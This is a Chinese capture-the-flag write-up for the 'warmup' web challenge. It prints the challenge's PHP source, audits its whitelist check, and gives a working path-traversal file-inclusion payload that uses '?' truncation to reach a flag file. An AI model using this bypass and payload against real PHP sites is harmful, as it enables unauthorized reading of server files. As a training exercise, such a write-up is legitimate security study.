攻防世界系列 :warmup

1.打开题目,一个贱贱的滑稽表情

F12看到注释内容source.php

2.访问source.php

 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} if (in_array($page, $whitelist)) {
return true;
} $_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} $_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
} if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

看到代码中白名单里还有hint.php文件

3.代码审计

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
}

需要我们post方法传入一个file变量

满足

(1)file不为空

(2)file值是一个字符串

(3)通过checkFile()函数检查

其中checkFile()包括三次白名单检测,两次字符串截取,一次URL解码

几个重要的php函数

is_string()

//判断变量是否为字符串,是返回true否返回false

isset()

//判断变量是否被赋值,是返回true否返回false

in_array(a,b)

//从数组b中搜索值a

mb_strpos(a,b)

//返回要查找的字符串b在另一个字符串a中首次出现的位置

mb_substr(a,b,c)

//返回字符串a中从b开始长度为c(c参数可有可无,默认到结尾)的部分

4.构造payload

根据代码要求,file中要包含"hint.php"或"source.php",要有"?"可以把关键字"hint.php"或"source.php"截取出来。

所以payload为

file=hint.php?../../../../../../../ffffllllaaaagggg

file=source.php?../../../../../../../ffffllllaaaagggg



收工 !

最新文章

  1. You need to use a Theme.AppCompat theme (or descendant) with this activity
  2. jQuery动态提示消息框效果
  3. Flex4/AS3.0自定义VideoPlayer组件皮肤,实现Flash视频播放器
  4. 使用 Attribute +反射 来对两个类之间动态赋值
  5. Start of Something New
  6. Linux Shell脚本Ldd命令原理及使用方法
  7. Wpf控件ListBox使用实例2
  8. 字符串处理——strpos()函数
  9. python3 time模块与datetime模块
  10. 版本控制——TortoiseSVN (1)安装与配置
  11. SSM项目手动分页详解
  12. NABCD分析---校园服务
  13. application.xml中配置文件properties导入
  14. perl控制流介绍(if条件,while,for循环,foreach)
  15. swift - iOS10之后的加速器
  16. vue 操作数组,原数组怎么不让它改变
  17. WPF中使用TextBlock的Inlines属性来完成复杂的文字内容
  18. Codeforces Round #302 解题报告
  19. 网络编程之socket(TCP,UDP)
  20. Java设计模式—策略模式

热门文章

  1. Kafka 消息存储机制
  2. Kotlin编写Processing程序(使用函数式编程思维和面向接口方式)
  3. Python是啥?为什么这么多职业人和学生就算报班也要学它?!
  4. BUAA_OO_第一单元
  5. msf记录
  6. pytorch从入门到放弃(目录)
  7. 1055 The World&#39;s Richest
  8. goloader - golang动态加载的实现
  9. Linux中的SSH服务
  10. hdu3074 线段树求区间乘积(单点更新)